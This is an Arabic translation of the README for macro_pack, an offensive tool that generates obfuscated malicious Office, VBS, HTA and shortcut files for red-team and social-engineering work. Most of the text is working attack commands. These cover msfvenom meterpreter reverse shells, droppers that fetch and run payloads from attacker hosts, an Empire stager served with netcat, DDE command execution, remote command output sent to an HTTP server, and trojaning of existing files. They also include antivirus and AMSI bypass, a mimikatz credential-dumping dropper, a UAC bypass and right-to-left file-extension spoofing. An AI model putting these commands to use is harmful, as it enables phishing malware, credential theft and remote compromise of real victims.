
macro_pack هي أداة من إعداد @EmericNasi تُستخدم لأتمتة عملية التمويه (Obfuscation) وتوليد مستندات Office، وسكربتات VB، والاختصارات، وصيغ أخرى لصالح اختبار الاختراق (Pentest)، والعروض التوضيحية، وتقييمات الهندسة الاجتماعية. الهدف من macro_pack هو تبسيط عملية الاستغلال، وتجاوز برامج مكافحة البرمجيات الخبيثة، وأتمتة المسار بدءًا من توليد الماكرو والسكربتات الخبيثة وصولًا إلى توليد المستند النهائي. كما يوفر العديد من الميزات المفيدة للفرق الحمراء (Red Team) أو للبحث الأمني.
MacroPack Community هي أداة تُستخدم لأتمتة التعتيم (obfuscation) وإنشاء الصيغ القديمة مثل مستندات MS Office أو صيغ VBS المشابهة.
كما تتعامل مع عدة صيغ للاختصارات.
يمكن استخدام هذه الأداة في اختبارات الفرق الحمراء (red teaming)، اختبارات الاختراق، العروض التوضيحية، وتقييمات الهندسة الاجتماعية.
ستبسط MacroPack عملية تجاوز حلول مكافحة البرامج الضارة وتؤتمت العملية من كود vb المصدر إلى مستند Office النهائي أو نوع الحمولة الآخر.
استخدامها بسيط جدًا:
الأداة متوافقة مع الحمولات المولدة بواسطة أدوات اختبار الاختراق الشائعة (Metasploit, Empire, ...).
من السهل أيضًا دمجها مع أدوات أخرى حيث يمكن قراءة المدخلات من stdin والحصول على مخرجات هادئة لأداة أخرى.
هذه الأداة مكتوبة بلغة Python3 وتعمل على منصتي Linux و Windows.
ملاحظة: يتطلب نظام Windows مع تطبيقات MS Office المناسبة مثبتة لإنشاء مستندات Office تلقائيًا أو ميزات الترويج (trojan).

ستستخدم الأداة تقنيات تعتيم متنوعة، كلها تلقائية.
ميزات التعتيم متوافقة مع جميع الصيغ المعتمدة على VBA و VBS التي يمكن إنشاؤها بواسطة MacroPack.
التعتيم الأساسي (خيار -o) يشمل:
يمكن لـ MacroPack إنشاء عدة أنواع من مستندات MS Office وصيغ البرامج النصية.
سيتم تخمين الصيغة تلقائيًا اعتمادًا على امتداد الملف المعطى.
يتم إنشاء الملف باستخدام الخيار --generate أو -G.
تسمح لك النسخة الاحترافية من MacroPack أيضًا بترويج (trojan) ملفات Office موجودة مسبقًا باستخدام الخيار --trojan أو -T.
الصيغ المدعومة من MS Office هي:
الصيغ النصية (scripting) المدعومة هي:
الصيغ المدعومة للاختصارات/القشرة هي:
لاحظ أن جميع صيغ البرامج النصية والاختصارات (باستثناء LNK) يمكن إنشاؤها على نسخة Linux من MacroPack أيضًا.
يجب استخدام هذا البرنامج فقط في سياق تمرين الفريق الأحمر (Red Team)، اختبار الاختراق، محاكاة التصيد، البحث الأمني، أو أي شكل آخر من تقييمات الأمان، مع الحصول على إذن قانوني ورسمي من مالكي النظام.
استخدام هذا البرنامج لمهاجمة أهداف دون موافقة مسبقة محظور وغير قانوني.
تقع على عاتق المستخدم مسؤولية الامتثال لجميع القوانين المحلية والولائية والفدرالية والوطنية المعمول بها.
نحن لا نتحمل أي مسؤولية ولا نكون مسؤولين عن أي إساءة استخدام أو ضرر قد يحدث نتيجة استخدام هذا البرنامج.
ليست كل الإمكانيات والخيارات المتوفرة في MacroPack متاحة في MacroPack Community.
فقط النسخة المجتمعية متاحة على الإنترنت.
ميزات النسخة الاحترافية هي حقًا "تسليح" للعملية، ولذلك يقتصر الوصول إليها على المحترفين.
يشمل الوضع الاحترافي ميزات مثل:
تتوفر بعض فيديوهات العرض التوضيحي القصيرة على قناة BallisKit على Vimeo.
هام: إذا كنت ترغب في الاتصال بي بشأن MacroPack pro، استخدم عنوان بريدي الإلكتروني emeric.nasi [at] sevagas.com.
لن أرد على الاستفسارات المجهولة بخصوص النسخة الاحترافية، بل فقط على الرسائل الإلكترونية المهنية.
### التثبيت من المصادر
يجب أن تكون على جهاز يعمل بنظام Windows لبناء أداة MacroPack. قم بتنزيل وتثبيت التبعيات:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
الأداة مكتوبة بلغة Python 3، لذا ابدأ بتثبيت python3 الخاص بك. مثال:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
إذا كنت ترغب في إنتاج ملف exe مستقل باستخدام pyinstaller:
* تثبيت pyinstaller: pip install pyinstaller
* انقر مزدوجًا على السكريبت "build.bat".
سيكون الملف الناتج macro\_pack.exe داخل دليل **bin**.
## بعض الأمثلة
### مجتمع MacroPack
- قائمة بجميع صيغ الملفات المدعومة```bash
macro_pack.exe --listformats
- إخفاء ملف vba الذي تم إنشاؤه بواسطة msfvenom ووضع النتيجة في ملف VBA جديد.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- إنشاء ملف MS Excel يحتوي على dropper مبهم (تنزيل payload.exe وتخزينه كـ dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- تنزيل وتنفيذ Empire Launcher stager بدون powershell.exe باستخدام قالب DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
- تنزيل وتنفيذ ملف عبر powershell باستخدام هجوم Dynamic Data Exchange (DDE)```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY تجريبي"></p>
- إنشاء ملف VBS مبهم لاتصال TCP العكسي لـ meterpreter وتشغيله ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- إنشاء اختصار url يقوم بتشغيل ملف HTA محلي عند النقر عليه```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### بعض أمثلة MacroPack Pro
- Trojan ملف "report.xlsm" المشترك الحالي مع dropper. استخدم ميزات anti-AV وanti-reverse.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- حصان طروادة لملف PowerPoint مع شيلكود خام عكسي. تم تشويش الماكرو وتشويهه لتجاوز AMSI ومعظم برامج مكافحة الفيروسات.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## جميع خيارات الإصدار المجتمعي```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
يمكن استدعاء القوالب باستخدام -t, --template=TEMPLATE_NAME مع خيارات أخرى.
فيما يلي جميع القوالب المتاحة.
قم بطباعة رسالة ترحيبية وتوعية حول الماكرو.
أعطِ هذا القالب اسم أو بريد إلكتروني للمؤلف:
-> مثال: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
نفّذ أمرًا.
أعطِ هذا القالب سطر أوامر:
-> مثال (تشغيل calc.exe من ملف xsl): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
نفّذ سطر أوامر وأرسل النتائج إلى خادم HTTP بعيد.
أعطِ هذا القالب عنوان URL للخادم والأمر المراد تشغيله:
-> مثال: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### المُسقط
تنزيل ملف وتنفيذه.
أعطِ هذا القالب رابط الملف ومسار الملف الهدف
-> مثال: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### المُسقط PS
تنزيل وتنفيذ سكربت PowerShell باستخدام rundll32 (لتجاوز الحظر على powershell.exe).
ملاحظة: سيقوم هذا الحمولة بتنزيل PowerShdll من Github.
أعطِ هذا القالب رابط سكربت PowerShell الذي تريد تشغيله:
-> مثال: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### المُسقط DLL
تنزيل ملف DLL بامتداد آخر وتشغيله باستخدام VBA في Office.
-> مثال، تحميل DLL لمتربريتر باستخدام Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
نموذج reverse TCP الخاص بـ Meterpreter باستخدام MacroMeter من Cn33liz.
هذا النموذج هو مُجمّع Meterpreter بلغة CSharp تم بناؤه بواسطة Cn33liz ومُضمن داخل VBA باستخدام DotNetToJScript من James Forshaw.
أعطِ هذا النموذج عنوان IP ومنفذ الاستماع لـ mfsconsole:
-> مثال: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
ينشئ هذا النموذج أيضًا ملفًا باسم meterpreter.rc لإنشاء معالج Metasploit
-> مثال: msfconsole -r meterpreter.rc
إسقاط وتنفيذ ملف مضمّن.
يمكن دمجه مع خيار --embed، حيث سيقوم بإسقاط الملف المضمّن وتنفيذه باسم عشوائي داخل مجلد TEMP.
-> مثال: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
يمكن دمجه مع خيار --embed، حيث سيقوم بإسقاط واستدعاء دالة في DLL معين.
أعطِ هذا النموذج اسم ومعاملات الدالة المراد استدعاؤها في DLL
-> مثال1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> مثال2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
تم اختبار الميزات المختلفة ضد حلول مكافحة البرامج الضارة المثبتة محليًا وكذلك ضد الخدمات عبر الإنترنت.
أجريت عدة اختبارات مع أنواع مختلفة من الحمولات وميزات MacroPack.
سيتم تجنب غالبية برامج مكافحة الفيروسات الثابتة ببساطة باستخدام خيار "obfuscate".
ومع ذلك، وكما هو الحال مع معظم الأدوات المجانية، يتم اكتشاف الحمولات بشكل عام من خلال التحليل السلوكي مثل AMSI.
الميزات المتوفرة في وضع MacroPack Pro تسمح بشكل عام بتجاوز كامل لمكافحة الفيروسات بما في ذلك AMSI.
تحذير: لا تقم بإرسال عيناتك إلى الماسحات الضوئية عبر الإنترنت (مثل VirusTotal)، فهذه أفضل طريقة لكسر وحدات الماكرو المخفية الخاصة بك. أقترح أيضًا عدم الإرسال إلى المواقع غير المبلّغة مثل NoDistribute. لا يمكنك التأكد مما ستفعله هذه المواقع بالبيانات التي ترسلها. إذا كانت لديك مشكلة مع اكتشاف MacroPack من قبل مكافحة الفيروسات، يمكنك الكتابة إلينا للحصول على المشورة أو تقديم مشكلة أو طلب سحب.
مشاركات المدونة حول MacroPack Pro:
مشاركات المدونة حول الاختراق باستخدام MS Office و VBS وأشياء قديمة أخرى تتعلق بالأمان:
روابط مفيدة أخرى:
لا تتردد في مراسلتي على حساب تويتر @EmericNasi
البريد الإلكتروني:
هام: إذا كنت ترغب في الاتصال بي بخصوص MacroPack pro، فاستخدم عنوان بريدي الإلكتروني في sevagas.com. كما يرجى ملاحظة أنني لن أرد على الاستفسارات المجهولة بخصوص الإصدار Pro، بل فقط على رسائل البريد الإلكتروني المهنية.
حقوق الطبع والنشر 2017,2018,2019,2020,2021,2022 إيميريك "Sio" ناسي (blog.sevagas.com)